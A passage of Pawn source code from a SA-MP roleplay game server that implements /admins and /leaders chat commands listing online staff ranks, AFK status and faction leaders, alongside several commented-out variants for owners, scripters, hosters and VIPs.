							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{07ba0a}%s {FFFFFF}(%d)%s - Premium Account Level 1", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pPremiumAccount] == 2)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{07ba0a}%s {FFFFFF}(%d)%s - Premium Account Level 2", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pPremiumAccount] == 3)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{07ba0a}%s {FFFFFF}(%d)%s - Premium Account Level 3", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}


					}
				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"* {ADFF5C}No Premiums Account online on the server");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"{ADFF5C}Now is 1 Premium Account online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "{ADFF5C}* There are %d Premium Accounts online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}
		*/
	//------------------------------------[/Admins]------------------------------------
/*
	// New Leaders System by Sina
	if (strcmp(cmd, "/admins", true) == 0)
	{
	new count = 1, name[24], stringadmins[256], stringadmins2[256];
	for(new i = 0; i < MAX_PLAYERS; i++)
	{
	if(IsPlayerConnected(i) && PlayerInfo[i][pAdmin] >= 1)
	{
	if(PlayerInfo[i][pAdmin] < 7)
	{
	GetPlayerName(i, name, sizeof(name));//{0099FF}%s%s(%d) | Admin Level: %d\n
	format(stringadmins2, sizeof(stringadmins2),"%s(%d)\t%s\n %s", name, i, AdminLevelName(i), stringadmins2);
	format(stringadmins, sizeof(stringadmins),"Name(ID)\tAdmin Level\n %s", stringadmins2);
	count ++;
	}
	}
	}
	if(count != 1)
	{
		ShowPlayerDialog(playerid, DIALOG_ADMINS, DIALOG_STYLE_TABLIST_HEADERS, "{FF00FF}Online Admins", stringadmins, "Done", "");
	}
	else ShowPlayerDialog(playerid, DIALOG_ADMINS, DIALOG_STYLE_TABLIST_HEADERS, "{00FF00}Online Admins", "{FF0000}No Admin Online Now", "Done", "");
	return 1;
}
*/
	//=======================================================



		if (strcmp(cmd, "/admins", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "|_________Admins Online_________|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
				new afk[40];
				if(AFK[i] == 1 || AFKTime[i] > 70 || InSleep[i] == 1) {afk = "(AFK)";}
				if(AFK[playerid] == 0 && AFKTime[i] < 70 && InSleep[i] == 0) {afk = " ";}
				new sar[40];
				if(PINFO[playerid][pAdmin] >= 1)
				{
				if(ASAR[i] == 1) {sar = "(On SAR)";}
				}
				if(ASAR[i] == 0) {sar = " ";}
				//if(PINFO[playerid][pAdmin] == 0) {sar = " ";}
						if(PlayerInfo[i][pAdmin] == 1)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Admin Level 1 - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 2)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Admin Level 2 - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 3)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
						   // format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Admin Level 3 - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 4)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							// format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Admin Level 4 - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Admin Level 5 - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 6)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Supervisor - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 7)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Hoster - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 8)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Hoster - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 9)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Hoster - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 10)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}CM Assistant - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 11)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}CM Manager - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 12)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}CM Founder - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 13)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}CM Scripter - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] >= 14)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}CM Founder - {ffffff}%s(%d)%s%s", sendername, i, afk, sar);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
					}
				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"* No admins online on the server");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"There is 1 admin online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "* There are %d admins online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}
		/*
				if (strcmp(cmd, "/owners", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "{ADFF5C}|____ Owners online: ____|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
				new afk[40];
				if(AFK[i] == 1 || AFKTime[i] > 70) {afk = "(AFK)";}
				if(AFK[playerid] == 0 && AFKTime[i] < 70) {afk = " ";}
						if(PlayerInfo[i][pAdmin] == 11)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF0000}%s {FFFFFF}(%d)%s - CM Manager (Not an Official Owner)", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 12)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF0000}%s {FFFFFF}(%d)%s - CM Founder (Official Owner)", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
					}
				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"* {ADFF5C}No Owners online on the server");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"{ADFF5C}Now is 1 Owner online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "{ADFF5C}* There are %d Owners online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}
		*/
		/*
		if (strcmp(cmd, "/scripters", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "{ADFF5C}|____ Scripters online: ____|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
				new afk[40];
				if(AFK[i] == 1 || AFKTime[i] > 70) {afk = "(AFK)";}
				if(AFK[playerid] == 0 && AFKTime[i] < 70) {afk = " ";}
						if(PlayerInfo[i][pAdmin] == 13)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF0000}%s {FFFFFF}(%d)%s - CM Scripter", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
					}
				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"* {ADFF5C}No Scripters online on the server");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"{ADFF5C}Now is 1 Scripter online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "{ADFF5C}* There are %d Scripters online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}
		*/
		/*
		if (strcmp(cmd, "/hosters", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "{ADFF5C}|____ Hosters online: ____|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
				new afk[40];
				if(AFK[i] == 1 || AFKTime[i] > 70) {afk = "(AFK)";}
				if(AFK[playerid] == 0 && AFKTime[i] < 70) {afk = " ";}
						if(PlayerInfo[i][pAdmin] == 7)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF0000}%s {FFFFFF}(%d)%s - HosterLvl 1", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 8)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF0000}%s {FFFFFF}(%d)%s - HosterLvl 3", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pAdmin] == 9)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF0000}%s {FFFFFF}(%d)%s - HosterLvl 6", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
					}
				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"* {ADFF5C}No Hosters online on the server");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"{ADFF5C}Now is 1 Hoster online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "{ADFF5C}* There are %d Hosters online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}
		*/
 //----------------------------------------------------------------------------------
/*
	if (strcmp(cmd, "/vips", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "{ADFF5C}|____ Vips online: ____|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
				new afk[40];
				if(AFK[i] == 1 || AFKTime[i] > 70) {afk = "(AFK)";}
				if(AFK[playerid] == 0 && AFKTime[i] < 70) {afk = " ";}
						if(PlayerInfo[playerid][pVip] == 1)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF6347}%s {FFFFFF}(%d)%s - Vip ", sendername, i, afk);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
					}
				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"* {ADFF5C}No vip online ");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"{ADFF5C}Now is 1 vip online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "{ADFF5C}* There are %d vip online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}

*/
	/*	if (strcmp(cmd, "/owonw", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "|_________Owners Online_________|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
						if(PlayerInfo[i][pAdmin] >= 7)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F21717}Owner{FFFFFF} %s (%d)", sendername, i);
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
					}
				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"No Owners online on the server");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"Now is 1 Owner online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "Now are %d Owners online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}
*/
// New Leaders System by Sina
/*
 if (strcmp(cmd, "/leaders", true) == 0)
	{
	new count = 1, name[24], stringleaders[256], stringleaders2[256];
	for(new i = 0; i < MAX_PLAYERS; i++)
	{
	if(IsPlayerConnected(i) && PlayerInfo[i][pLeader] >= 1)
	{
	if(PlayerInfo[i][pAdmin] < 7)
	{
	GetPlayerName(i, name, sizeof(name));//{0099FF}%s%s(%d) | Admin Level: %d\n
	format(stringleaders2, sizeof(stringleaders2),"%s(%d)\t%s\n %s", name, i, LeaderName(i), stringleaders2);
	format(stringleaders, sizeof(stringleaders),"Name(ID)\tFaction Leader\n %s", stringleaders2);
	count ++;
	}
	}
	}
	if(count != 1)
	{
		ShowPlayerDialog(playerid, DIALOG_LEADERS, DIALOG_STYLE_TABLIST_HEADERS, "{FF00FF}Online Leaders", stringleaders, "Done", "");
	}
	else ShowPlayerDialog(playerid, DIALOG_LEADERS, DIALOG_STYLE_TABLIST_HEADERS, "{00FF00}Online Leaders", "{FF0000}No Leader Online Now", "Done", "");
	return 1;
}
*/
//=====================================[End]=====================================



// This Is Old Leaders System
		if (strcmp(cmd, "/leaders", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new count = 0;
				SendMessage(playerid, CRISTIAN, "|_________Leaders Online_________|");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
						if(PlayerInfo[i][pLeader] == 1 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{171DFF}PD Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 2 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{171DFF}FBI Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}


						if(PlayerInfo[i][pLeader] == 3 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{171DFF}National Guard Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 4 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FF0000}Medic Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 5 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{5D7E8D}The Silence Mafia Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 6 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{3E3535}The Killers Family Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 7 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{BBF060}Mayor{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 8 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{8E2323}Hitman Agency Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 9 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{825B8C}News Reporter Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pLeader] == 10 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FFFF00}Taxi Driver Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pLeader] == 11 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{0974C6}School Instructor Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pLeader] == 12 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{19AF23}Dangerous Tiger Family Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 13 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
